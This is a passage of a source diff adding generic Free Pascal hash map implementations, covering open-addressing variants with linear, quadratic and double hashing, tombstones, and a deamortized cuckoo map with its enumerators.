LItem.Hash; + LItem.Hash := 0; // prevents an infinite searching loop + LLengthMask := Length(FItems) - 1; + i := Succ(AIndex - (LHash and LLengthMask)); + LGapIndex := AIndex; + repeat + LIndex := TProbeSequence.Probe(i, LHash) and LLengthMask; + LItem := @FItems[LIndex]; + + // Empty position + if (LItem.Hash and UInt32.GetSignMask) = 0 then + Break; // breaking bad! + + LBucket := LItem.Hash and LLengthMask; + if not InCircularRange(LGapIndex, LBucket, LIndex) then + begin + NotifyIndexChange(LIndex, LGapIndex); + FItems[LGapIndex] := LItem^; + LItem.Hash := 0; // new gap + LGapIndex := LIndex; + end; + Inc(i); + until false; + + LItem := @FItems[LGapIndex]; + LItem.Hash := 0; + LItem.Pair := Default(TPair<TKey, TValue>); + Dec(FItemsLength); + + Result := LPair.Value; + PairNotify(LPair, ACollectionNotification); +end; + +function TOpenAddressingLP<OPEN_ADDRESSING_CONSTRAINTS>.FindBucketIndex(constref AItems: TArray<TItem>; + constref AKey: TKey; out AHash: UInt32): SizeInt; +var + LItem: {TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.}_TItem; // for workaround Lazarus bug #25613 + LLengthMask: SizeInt; + i, m: SizeInt; + LHash: UInt32; +begin + m := Length(AItems); + LLengthMask := m - 1; + + LHash := FEqualityComparer.GetHashCode(AKey); + + i := 0; + AHash := LHash or UInt32.GetSignMask; + + if m = 0 then + Exit(-1); + + Result := AHash and LLengthMask; + + repeat + LItem := _TItem(AItems[Result]); + + // Empty position + if (LItem.Hash and UInt32.GetSignMask) = 0 then + Exit(not Result); // insert! + + // Same position? + if LItem.Hash = AHash then + if FEqualityComparer.Equals(AKey, LItem.Pair.Key) then + Exit; + + Inc(i); + + Result := TProbeSequence.Probe(i, AHash) and LLengthMask; + + until false; +end; + +{ TOpenAddressingTombstones<OPEN_ADDRESSING_CONSTRAINTS> } + +function TOpenAddressingTombstones<OPEN_ADDRESSING_CONSTRAINTS>.Rehash(ASizePow2: SizeInt; AForce: Boolean): Boolean; +begin + if inherited then + FTombstonesCount := 0; +end; + +function TOpenAddressingTombstones<OPEN_ADDRESSING_CONSTRAINTS>.RealItemsLength: SizeInt; +begin + Result := FItemsLength + FTombstonesCount +end; + +procedure TOpenAddressingTombstones<OPEN_ADDRESSING_CONSTRAINTS>.ClearTombstones; +begin + Rehash(Length(FItems), True); +end; + +procedure TOpenAddressingTombstones<OPEN_ADDRESSING_CONSTRAINTS>.Clear; +begin + FTombstonesCount := 0; + inherited; +end; + +function TOpenAddressingTombstones<OPEN_ADDRESSING_CONSTRAINTS>.DoRemove(AIndex: SizeInt; + ACollectionNotification: TCollectionNotification): TValue; +begin + Result := inherited; + + FItems[AIndex].Hash := 1; + Inc(FTombstonesCount); +end; + +function TOpenAddressingTombstones<OPEN_ADDRESSING_CONSTRAINTS>.DoAdd(constref AKey: TKey; + constref AValue: TValue): SizeInt; +var + LHash: UInt32; +begin + PrepareAddingItem; + + Result := FindBucketIndexOrTombstone(FItems, AKey, LHash); + if Result >= 0 then + raise EListError.CreateRes(@SDuplicatesNotAllowed); + + Result := not Result; + // Can't ovverride because we lost info about old hash + if FItems[Result].Hash <> 0 then + Dec(FTombstonesCount); + + AddItem(FItems[Result], AKey, AValue, LHash); +end; + +{ TOpenAddressingSH<OPEN_ADDRESSING_CONSTRAINTS> } + +function TOpenAddressingSH<OPEN_ADDRESSING_CONSTRAINTS>.FindBucketIndex(constref AItems: TArray<TItem>; + constref AKey: TKey; out AHash: UInt32): SizeInt; +var + LItem: {TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.}_TItem; // for workaround Lazarus bug #25613 + LLengthMask: SizeInt; + i, m: SizeInt; + LHash: UInt32; +begin + m := Length(AItems); + LLengthMask := m - 1; + + LHash := FEqualityComparer.GetHashCode(AKey); + + i := 0; + AHash := LHash or UInt32.GetSignMask; + + if m = 0 then + Exit(-1); + + Result := AHash and LLengthMask; + + repeat + LItem := _TItem(AItems[Result]); + // Empty position + if LItem.Hash = 0 then + Exit(not Result); // insert! + + // Same position? + if LItem.Hash = AHash then + if FEqualityComparer.Equals(AKey, LItem.Pair.Key) then + Exit; + + Inc(i); + + Result := TProbeSequence.Probe(i, AHash) and LLengthMask; + + until false; +end; + +function TOpenAddressingSH<OPEN_ADDRESSING_CONSTRAINTS>.FindBucketIndexOrTombstone(constref AItems: TArray<TItem>; + constref AKey: TKey; out AHash: UInt32): SizeInt; +var + LItem: {TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.}_TItem; // for workaround Lazarus bug #25613 + LLengthMask: SizeInt; + i, m: SizeInt; + LHash: UInt32; +begin + m := Length(AItems); + LLengthMask := m - 1; + + LHash := FEqualityComparer.GetHashCode(AKey); + + i := 0; + AHash := LHash or UInt32.GetSignMask; + + if m = 0 then + Exit(-1); + + Result := AHash and LLengthMask; + + repeat + LItem := _TItem(AItems[Result]); + + // Empty position or tombstone + if LItem.Hash and UInt32.GetSignMask = 0 then + Exit(not Result); // insert! + + // Same position? + if LItem.Hash = AHash then + if FEqualityComparer.Equals(AKey, LItem.Pair.Key) then + Exit; + + Inc(i); + + Result := TProbeSequence.Probe(i, AHash) and LLengthMask; + + until false; +end; + +{ TOpenAddressingQP<OPEN_ADDRESSING_CONSTRAINTS> } + +procedure TOpenAddressingQP<OPEN_ADDRESSING_CONSTRAINTS>.UpdateItemsThreshold(ASize: SizeInt); +begin + if ASize = $40000000 then + FItemsThreshold := $40000001 + else + begin + FPrimaryNumberAsSizeApproximation := PrimaryNumbersJustLessThanPowerOfTwo[ + MultiplyDeBruijnBitPosition[UInt32(((ASize and -ASize) * $077CB531)) shr 27]]; + + FItemsThreshold := Pred(Round(FPrimaryNumberAsSizeApproximation * FMaxLoadFactor)); + end; +end; + +function TOpenAddressingQP<OPEN_ADDRESSING_CONSTRAINTS>.FindBucketIndex(constref AItems: TArray<TItem>; + constref AKey: TKey; out AHash: UInt32): SizeInt; +var + LItem: {TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.}_TItem; // for workaround Lazarus bug #25613 + i: SizeInt; + LHash: UInt32; +begin + LHash := FEqualityComparer.GetHashCode(AKey); + + i := 0; + AHash := LHash or UInt32.GetSignMask; + + if Length(AItems) = 0 then + Exit(-1); + + for i := 0 to FPrimaryNumberAsSizeApproximation - 1 do + begin + Result := TProbeSequence.Probe(i, AHash) mod FPrimaryNumberAsSizeApproximation; + LItem := _TItem(AItems[Result]); + + // Empty position + if LItem.Hash = 0 then + Exit(not Result); // insert! + + // Same position? + if LItem.Hash = AHash then + if FEqualityComparer.Equals(AKey, LItem.Pair.Key) then + Exit; + end; + + Result := -1; +end; + + +function TOpenAddressingQP<OPEN_ADDRESSING_CONSTRAINTS>.FindBucketIndexOrTombstone(constref AItems: TArray<TItem>; + constref AKey: TKey; out AHash: UInt32): SizeInt; +var + LItem: {TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.}_TItem; // for workaround Lazarus bug #25613 + i: SizeInt; + LHash: UInt32; +begin + LHash := FEqualityComparer.GetHashCode(AKey); + + i := 0; + AHash := LHash or UInt32.GetSignMask; + + if Length(AItems) = 0 then + Exit(-1); + + for i := 0 to FPrimaryNumberAsSizeApproximation - 1 do + begin + Result := TProbeSequence.Probe(i, AHash) mod FPrimaryNumberAsSizeApproximation; + LItem := _TItem(AItems[Result]); + + // Empty position or tombstone + if LItem.Hash and UInt32.GetSignMask = 0 then + Exit(not Result); // insert! + + // Same position? + if LItem.Hash = AHash then + if FEqualityComparer.Equals(AKey, LItem.Pair.Key) then + Exit; + end; + + Result := -1; +end; + +{ TOpenAddressingDH<OPEN_ADDRESSING_CONSTRAINTS> } + +constructor TOpenAddressingDH<OPEN_ADDRESSING_CONSTRAINTS>.Create(ACapacity: SizeInt; + const AComparer: IEqualityComparer<TKey>); +begin +end; + +constructor TOpenAddressingDH<OPEN_ADDRESSING_CONSTRAINTS>.Create(const AComparer: IEqualityComparer<TKey>); +begin +end; + +constructor TOpenAddressingDH<OPEN_ADDRESSING_CONSTRAINTS>.Create(ACollection: TEnumerable<TDictionaryPair>; + const AComparer: IEqualityComparer<TKey>); +begin +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +constructor TOpenAddressingDH<OPEN_ADDRESSING_CONSTRAINTS>.Create(ACollection: TEnumerableWithPointers<TDictionaryPair>; + const AComparer: IEqualityComparer<TKey>); +begin +end; +{$ENDIF} + +constructor TOpenAddressingDH<OPEN_ADDRESSING_CONSTRAINTS>.Create(ACapacity: SizeInt); +begin + Create(ACapacity, TExtendedEqualityComparer<TKey>.Default(THashFactory)); +end; + +constructor TOpenAddressingDH<OPEN_ADDRESSING_CONSTRAINTS>.Create(ACollection: TEnumerable<TDictionaryPair>); +begin + Create(ACollection, TExtendedEqualityComparer<TKey>.Default(THashFactory)); +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +constructor TOpenAddressingDH<OPEN_ADDRESSING_CONSTRAINTS>.Create(ACollection: TEnumerableWithPointers<TDictionaryPair>); +begin + Create(ACollection, TExtendedEqualityComparer<TKey>.Default(THashFactory)); +end; +{$ENDIF} + +constructor TOpenAddressingDH<OPEN_ADDRESSING_CONSTRAINTS>.Create(ACapacity: SizeInt; + const AComparer: IExtendedEqualityComparer<TKey>); +begin + FMaxLoadFactor := TProbeSequence.DEFAULT_LOAD_FACTOR; + FEqualityComparer := AComparer; + SetCapacity(ACapacity); +end; + +constructor TOpenAddressingDH<OPEN_ADDRESSING_CONSTRAINTS>.Create(const AComparer: IExtendedEqualityComparer<TKey>); +begin + Create(0, AComparer); +end; + +constructor TOpenAddressingDH<OPEN_ADDRESSING_CONSTRAINTS>.Create(ACollection: TEnumerable<TDictionaryPair>; + const AComparer: IExtendedEqualityComparer<TKey>); +var + LItem: TDictionaryPair; +begin + Create(AComparer); + for LItem in ACollection do + Add(LItem); +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +constructor TOpenAddressingDH<OPEN_ADDRESSING_CONSTRAINTS>.Create(ACollection: TEnumerableWithPointers<TDictionaryPair>; + const AComparer: IExtendedEqualityComparer<TKey>); +var + LItem: PDictionaryPair; +begin + Create(AComparer); + for LItem in ACollection.Ptr^ do + Add(LItem^); +end; +{$ENDIF} + +procedure TOpenAddressingDH<OPEN_ADDRESSING_CONSTRAINTS>.UpdateItemsThreshold(ASize: SizeInt); +begin + inherited; + R := + PrimaryNumbersJustLessThanPowerOfTwo[ + MultiplyDeBruijnBitPosition[UInt32(((ASize and -ASize) * $077CB531)) shr 27]] +end; + +function TOpenAddressingDH<OPEN_ADDRESSING_CONSTRAINTS>.FindBucketIndex(constref AItems: TArray<TItem>; + constref AKey: TKey; out AHash: UInt32): SizeInt; +var + LItem: {TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.}_TItem; // for workaround Lazarus bug #25613 + LLengthMask: SizeInt; + i, m: SizeInt; + LHash: array[-1..1] of UInt32; + LHash1: UInt32 absolute LHash[0]; + LHash2: UInt32 absolute LHash[1]; +begin + m := Length(AItems); + LLengthMask := m - 1; + LHash[-1] := 2; // number of hashes + + IExtendedEqualityComparer<TKey>(FEqualityComparer).GetHashList(AKey, @LHash[-1]); + + i := 0; + AHash := LHash1 or UInt32.GetSignMask; + + if m = 0 then + Exit(-1); + + Result := LHash1 and LLengthMask; + // second hash function must be special + LHash2 := (R - (LHash2 mod R)) or 1; + + repeat + LItem := _TItem(AItems[Result]); + + // Empty position + if LItem.Hash = 0 then + Exit(not Result); + + // Same position? + if LItem.Hash = AHash then + if FEqualityComparer.Equals(AKey, LItem.Pair.Key) then + Exit; + + Inc(i); + + Result := TProbeSequence.Probe(i, AHash, LHash2) and LLengthMask; + until false; +end; + +function TOpenAddressingDH<OPEN_ADDRESSING_CONSTRAINTS>.FindBucketIndexOrTombstone(constref AItems: TArray<TItem>; + constref AKey: TKey; out AHash: UInt32): SizeInt; +var + LItem: {TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>.}_TItem; // for workaround Lazarus bug #25613 + LLengthMask: SizeInt; + i, m: SizeInt; + LHash: array[-1..1] of UInt32; + LHash1: UInt32 absolute LHash[0]; + LHash2: UInt32 absolute LHash[1]; +begin + m := Length(AItems); + LLengthMask := m - 1; + LHash[-1] := 2; // number of hashes + + IExtendedEqualityComparer<TKey>(FEqualityComparer).GetHashList(AKey, @LHash[-1]); + + i := 0; + AHash := LHash1 or UInt32.GetSignMask; + + if m = 0 then + Exit(-1); + + Result := LHash1 and LLengthMask; + // second hash function must be special + LHash2 := (R - (LHash2 mod R)) or 1; + + repeat + LItem := _TItem(AItems[Result]); + + // Empty position or tombstone + if LItem.Hash and UInt32.GetSignMask = 0 then + Exit(not Result); + + // Same position? + if LItem.Hash = AHash then + if FEqualityComparer.Equals(AKey, LItem.Pair.Key) then + Exit; + + Inc(i); + + Result := TProbeSequence.Probe(i, AHash, LHash2) and LLengthMask; + until false; +end; + +{ TDeamortizedDArrayCuckooMapEnumerator<T, CUCKOO_CONSTRAINTS> } + +constructor TDeamortizedDArrayCuckooMapEnumerator<T, CUCKOO_CONSTRAINTS>.Create( + ADictionary: TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>); +begin + inherited; + if ADictionary.Count = 0 then + FMainIndex := TCuckooCfg.D + else + FMainIndex := 0; +end; + +function TDeamortizedDArrayCuckooMapEnumerator<T, CUCKOO_CONSTRAINTS>.DoMoveNext: Boolean; +var + LLength: SizeInt; + LArray: TItemsArray; +begin + Inc(FIndex); + + if (FMainIndex = TCuckooCfg.D) then // queue + begin + LLength := Length(TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>(FDictionary).FQueue.FItems); + if FIndex >= LLength then + Exit(False); + + while ((TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>(FDictionary).FQueue.FItems[FIndex].Hash) + and UInt32.GetSignMask) = 0 do + begin + Inc(FIndex); + if FIndex = LLength then + Exit(False); + end; + end + else // d-array + begin + LArray := TItemsArray(TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>(FDictionary).FItems[FMainIndex]); + LLength := Length(LArray); + if FIndex >= LLength then + begin + Inc(FMainIndex); + FIndex := -1; + Exit(DoMoveNext); + end; + + while ((LArray[FIndex].Hash) and UInt32.GetSignMask) = 0 do + begin + Inc(FIndex); + if FIndex = LLength then + begin + Inc(FMainIndex); + FIndex := -1; + Exit(DoMoveNext); + end; + end; + end; + + Result := True; +end; + +{ TDeamortizedDArrayPointersEnumerator<TCuckooCfg, TItemsArray, TItemsDArray, TQueueDictionary, PDictionaryPair> } + +function TDeamortizedDArrayPointersEnumerator<TCuckooCfg, TItemsArray, TItemsDArray, TQueueDictionary, PDictionaryPair>.DoMoveNext: boolean; +var + LLength: SizeInt; + LArray: TItemsArray; +begin + Inc(FIndex); + + if (FMainIndex = TCuckooCfg.D) then // queue + begin + LLength := Length(FQueue.FItems); + if FIndex >= LLength then + Exit(False); + + while ((FQueue.FItems[FIndex].Hash) + and UInt32.GetSignMask) = 0 do + begin + Inc(FIndex); + if FIndex = LLength then + Exit(False); + end; + end + else // d-array + begin + LArray := FItems^[FMainIndex]; + LLength := Length(LArray); + if FIndex >= LLength then + begin + Inc(FMainIndex); + FIndex := -1; + Exit(DoMoveNext); + end; + + while (((LArray[FIndex]).Hash) and UInt32.GetSignMask) = 0 do + begin + Inc(FIndex); + if FIndex = LLength then + begin + Inc(FMainIndex); + FIndex := -1; + Exit(DoMoveNext); + end; + end; + end; + + Result := True; +end; + +function TDeamortizedDArrayPointersEnumerator<TCuckooCfg, TItemsArray, TItemsDArray, TQueueDictionary, PDictionaryPair>.DoGetCurrent: PDictionaryPair; +begin + Result := GetCurrent; +end; + +function TDeamortizedDArrayPointersEnumerator<TCuckooCfg, TItemsArray, TItemsDArray, TQueueDictionary, PDictionaryPair>.GetCurrent: PDictionaryPair; +begin + if FMainIndex = TCuckooCfg.D then + Result := @(FQueue.FItems[FIndex].Pair.Value.Pair) + else + Result := @((FItems^[FMainIndex])[FIndex].Pair); +end; + +constructor TDeamortizedDArrayPointersEnumerator<TCuckooCfg, TItemsArray, TItemsDArray, TQueueDictionary, PDictionaryPair>.Create(var AItems; AQueue: TQueueDictionary; ACount: SizeInt); +begin + FIndex := -1; + if ACount = 0 then + FMainIndex := TCuckooCfg.D + else + FMainIndex := 0; + FQueue := AQueue; + FItems := @AItems; +end; + +{ TDeamortizedDArrayPointersCollection<TPointersEnumerator, TItem, TQueueDictionary, PDictionaryPair> } + +function TDeamortizedDArrayPointersCollection<TPointersEnumerator, TItemsDArray, TQueueDictionary, PDictionaryPair>.Items: PArray; +begin + Result := PArray(@((@Self)^)); +end; + +function TDeamortizedDArrayPointersCollection<TPointersEnumerator, TItemsDArray, TQueueDictionary, PDictionaryPair>.GetCount: SizeInt; +begin + Result := SizeInt((@PByte(@((@Self)^))[-SizeOf(SizeInt)])^); +end; + +function TDeamortizedDArrayPointersCollection<TPointersEnumerator, TItemsDArray, TQueueDictionary, PDictionaryPair>.GetQueue: TQueueDictionary; +begin + Result := TQueueDictionary((@PByte(@((@Self)^))[SizeOf(TItemsDArray)])^); +end; + +function TDeamortizedDArrayPointersCollection<TPointersEnumerator, TItemsDArray, TQueueDictionary, PDictionaryPair>.GetEnumerator: TPointersEnumerator; +begin + Result := TPointersEnumerator(TPointersEnumerator.NewInstance); + TPointersEnumerator(Result).Create(Items^, GetQueue, GetCount); +end; + +function TDeamortizedDArrayPointersCollection<TPointersEnumerator, TItemsDArray, TQueueDictionary, PDictionaryPair>.ToArray: TArray<PDictionaryPair>; +{begin + Result := ToArrayImpl(FList.Count); +end;} +var + i: SizeInt; + LEnumerator: TPointersEnumerator; +begin + SetLength(Result, GetCount); + + try + LEnumerator := GetEnumerator; + + i := 0; + while LEnumerator.MoveNext do + begin + Result[i] := LEnumerator.Current; + Inc(i); + end; + finally + LEnumerator.Free; + end; +end; + +{ TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS> } + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TQueueDictionary.Rehash(ASizePow2: SizeInt; + AForce: boolean): Boolean; +var + FOldIdx: array of TKey; + i: SizeInt; +begin + SetLength(FOldIdx, FIdx.Count); + for i := 0 to FIdx.Count - 1 do + FOldIdx[i] := FItems[FIdx[i]].Pair.Key; + + Result := inherited Rehash(ASizePow2, AForce); + + for i := 0 to FIdx.Count - 1 do + FIdx[i] := FindBucketIndex(FOldIdx[i]); +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TQueueDictionary.NotifyIndexChange(AFrom, ATo: SizeInt); +var + i: SizeInt; +begin + // notify change position + for i := 0 to FIdx.Count-1 do + if FIdx[i] = AFrom then + begin + FIdx[i] := ATo; + Exit; + end; +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TQueueDictionary.InsertIntoBack(AItem: Pointer); +//var +// LItem: TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.PItem; absolute AItem; !!! bug #25917 +var + LItem: TQueueDictionary.PValue absolute AItem; + LIndex: SizeInt; +begin + LIndex := DoAdd(LItem.Pair.Key, LItem^); + FIdx.Insert(0, LIndex); +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TQueueDictionary.InsertIntoHead(AItem: Pointer); +//var +// LItem: TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.PItem absolute AItem; !!! bug #25917 +var + LItem: TQueueDictionary.PValue absolute AItem; + LIndex: SizeInt; +begin + LIndex := DoAdd(LItem.Pair.Key, LItem^); + FIdx.Add(LIndex); +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TQueueDictionary.IsEmpty: Boolean; +begin + Result := FIdx.Count = 0; +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TQueueDictionary.Pop: Pointer; +var + AIndex: SizeInt; + //LResult: TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TItem; !!!bug #25917 +begin + AIndex := FIdx.DoRemove(FIdx.Count - 1, cnExtracted); + + Result := New(TQueueDictionary.PValue); + TQueueDictionary.PValue(Result)^ := DoRemove(AIndex, cnExtracted); +end; + +constructor TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TQueueDictionary.Create(ACapacity: SizeInt; + const AComparer: IEqualityComparer<TKey>); +begin + FIdx := TList<UInt32>.Create; + inherited Create(ACapacity, AComparer); +end; + +destructor TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TQueueDictionary.Destroy; +begin + FIdx.Free; +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.GetQueueCount: SizeInt; +begin + Result := FQueue.Count; +end; + +constructor TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Create(ACapacity: SizeInt; + const AComparer: IEqualityComparer<TKey>); +begin +end; + +constructor TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Create(const AComparer: IEqualityComparer<TKey>); +begin +end; + +constructor TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Create(ACollection: TEnumerable<TDictionaryPair>; + const AComparer: IEqualityComparer<TKey>); +begin +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +constructor TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Create(ACollection: TEnumerableWithPointers<TDictionaryPair>; + const AComparer: IEqualityComparer<TKey>); +begin +end; +{$ENDIF} + +constructor TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Create; +begin + Create(0); +end; + +constructor TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Create(ACapacity: SizeInt); +begin + Create(ACapacity, TExtendedEqualityComparer<TKey>.Default(THashFactory)); +end; + +constructor TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Create(ACollection: TEnumerable<TDictionaryPair>); +begin + Create(ACollection, TExtendedEqualityComparer<TKey>.Default(THashFactory)); +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +constructor TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Create(ACollection: TEnumerableWithPointers<TDictionaryPair>); +begin + Create(ACollection, TExtendedEqualityComparer<TKey>.Default(THashFactory)); +end; +{$ENDIF} + +constructor TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Create(ACapacity: SizeInt; + const AComparer: IExtendedEqualityComparer<TKey>); +begin + FMaxLoadFactor := TCuckooCfg.MAX_LOAD_FACTOR; + FQueue := TQueueDictionary.Create; + FCDM := TCDM.Create; + + // to do - check constraint consts + + if TCuckooCfg.D > THashFactory.MAX_HASHLIST_COUNT then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + // should be moved to class constructor, but bug #24848 + CUCKOO_SIGN := UInt32.GetSizedSignMask(THashFactory.HASH_FUNCTIONS_MASK_SIZE + 1); + CUCKOO_INDEX_SIZE := UInt32.GetBitsLength - (THashFactory.HASH_FUNCTIONS_MASK_SIZE + 1); + CUCKOO_HASH_SIGN := THashFactory.HASH_FUNCTIONS_MASK shl CUCKOO_INDEX_SIZE; + + FEqualityComparer := AComparer; + SetCapacity(ACapacity); +end; + +constructor TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Create(const AComparer: IExtendedEqualityComparer<TKey>); +begin + Create(0, AComparer); +end; + +constructor TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Create(ACollection: TEnumerable<TDictionaryPair>; + const AComparer: IExtendedEqualityComparer<TKey>); +var + LItem: TDictionaryPair; +begin + Create(AComparer); + for LItem in ACollection do + Add(LItem); +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +constructor TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Create(ACollection: TEnumerableWithPointers<TDictionaryPair>; + const AComparer: IExtendedEqualityComparer<TKey>); +var + LItem: PDictionaryPair; +begin + Create(AComparer); + for LItem in ACollection.Ptr^ do + Add(LItem^); +end; +{$ENDIF} + +destructor TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Destroy; +begin + inherited; + FQueue.Free; + FCDM.Free; +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.GetKeys: TKeyCollection; +begin + if not Assigned(FKeys) then + FKeys := TKeyCollection.Create(Self); + Result := TKeyCollection(FKeys); +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.GetValues: TValueCollection; +begin + if not Assigned(FValues) then + FValues := TValueCollection.Create(Self); + Result := TValueCollection(FValues); +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.GetPointers: PPointersCollection; +begin + Result := PPointersCollection(@FItems); +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Lookup(constref AKey: TKey; + var AHashListOrIndex: PUInt32): SizeInt; +begin + Result := Lookup(FItems, AKey, AHashListOrIndex); +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Lookup(constref AItems: TItemsDArray; constref AKey: TKey; + var AHashListOrIndex: PUInt32): SizeInt; +var + LLengthMask: SizeInt; + i, j, k: SizeInt; + AHashList: PUInt32 absolute AHashListOrIndex; + AHashListParams: PUInt16 absolute AHashListOrIndex; + AIndex: PtrInt absolute AHashListOrIndex; + // LBloomFilter: UInt32; // to rethink. now is useless +begin + if Length(AItems[0]) = 0 then + Exit(LR_NIL); + + LLengthMask := Length(AItems[0]) - 1; + AHashListParams[0] := TCuckooCfg.D; // number of hashes + + i := 1; // ineks iteracji iteracji haszy + k := 1; // indeks iteracji haszy + // LBloomFilter := 0; + repeat + AHashListParams[1] := i; // iteration + IExtendedEqualityComparer<TKey>(FEqualityComparer).GetHashList(AKey, AHashList); + for j := 0 to THashFactory.HASHLIST_COUNT_PER_FUNCTION[i] - 1 do + begin + AHashList[k] := AHashList[k] or CUCKOO_SIGN; + // LBloomFilter := LBloomFilter or AHashList[k]; + + with AItems[k-1][AHashList[k] and LLengthMask] do + if (Hash and UInt32.GetSignMask) <> 0 then + if (AHashList[k] = Hash or CUCKOO_SIGN) and FEqualityComparer.Equals(AKey, Pair.Key) then + Exit(k-1); + + Inc(k); + end; + Inc(i); + until k > TCuckooCfg.D; + + i := FQueue.FindBucketIndex(AKey); + if i >= 0 then + begin + AIndex := i; + Exit(LR_QUEUE); + end; + +{ LBloomFilter := not LBloomFilter; + for i := 0 to FDicQueueList.Count - 1 do + // with FQueue[i] do + if LBloomFilter and FQueue[i].Hash = 0 then + for j := 1 to TCuckooCfg.D do + if (FQueue[i].Hash or CUCKOO_SIGN = AHashList[j]) then + if FEqualityComparer.Equals(AKey, FQueue[i].Pair.Key) then + begin + AIndex := i; + Exit(LR_QUEUE); + end; } + + Result := LR_NIL; +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.PrepareAddingItem; +var + i: SizeInt; +begin + if FItemsLength > FItemsThreshold then + Rehash(Length(FItems[0]) shl 1) + else if FItemsThreshold = 0 then + begin + for i := 0 to TCuckooCfg.D - 1 do + SetLength(FItems[i], 4); + UpdateItemsThreshold(4); + end + else if FItemsLength = $40000001 then // High(TIndex) ... Error: Type mismatch + OutOfMemoryError; +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.UpdateItemsThreshold(ASize: SizeInt); +var + LLength: SizeInt; +begin + LLength := ASize*TCuckooCfg.D; + if LLength = $40000000 then + FItemsThreshold := $40000001 + else + FItemsThreshold := Pred(Round(LLength * FMaxLoadFactor)); +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.AddItem(constref AItems: TItemsDArray; constref AKey: TKey; + constref AValue: TValue; const AHashList: PUInt32); +var + LNewItem: TItem; + LPNewItem: PItem; + y: boolean = false; + b: UInt32; + LIndex: UInt32; + i, LLengthMask: SizeInt; + LTempItem: TItem; + LHashList: array[0..1] of UInt32; + LHashListParams: array[0..3] of UInt16 absolute LHashList; +begin + LLengthMask := Length(AItems[0]) - 1; + + LNewItem.Pair.Key := AKey; + LNewItem.Pair.Value := AValue; + // by concept already sign bit is set + LNewItem.Hash := ((not CUCKOO_HASH_SIGN) and AHashList[1]) or UInt32.GetSignMask; // start at array [0] + FQueue.InsertIntoBack(@LNewItem); + + for i := 0 to TCuckooCfg.L - 1 do + begin + if not y then + if FQueue.IsEmpty then + Exit + else + begin + LPNewItem := FQueue.Pop; // bug #25917 workaround + LNewItem := LPNewItem^; + Dispose(LPNewItem); + b := (LNewItem.Hash and CUCKOO_HASH_SIGN) shr CUCKOO_INDEX_SIZE; + y := true; + end; + LIndex := LNewItem.Hash and LLengthMask; + if (AItems[b][LIndex].Hash and UInt32.GetSignMask) = 0 then // insert! + begin + AItems[b][LIndex] := LNewItem; + FCDM.Clear; + y := false; + end + else + begin + if FCDM.ContainsKey(LNewItem.Pair.Key) then // found second cycle + begin + FQueue.InsertIntoBack(@LNewItem); + FCDM.Clear; + y := false; + end + else + begin + LTempItem := AItems[b][LIndex]; + AItems[b][LIndex] := LNewItem; + LNewItem.Hash := LNewItem.Hash or CUCKOO_SIGN; + FCDM.AddOrSetValue(LNewItem.Pair.Key, EmptyRecord); + + LNewItem := LTempItem; + b := b + 1; + if b >= TCuckooCfg.D then + b := 0; + LHashListParams[0] := -Succ(b); + IExtendedEqualityComparer<TKey>(FEqualityComparer).GetHashList(LNewItem.Pair.Key, @LHashList[0]); 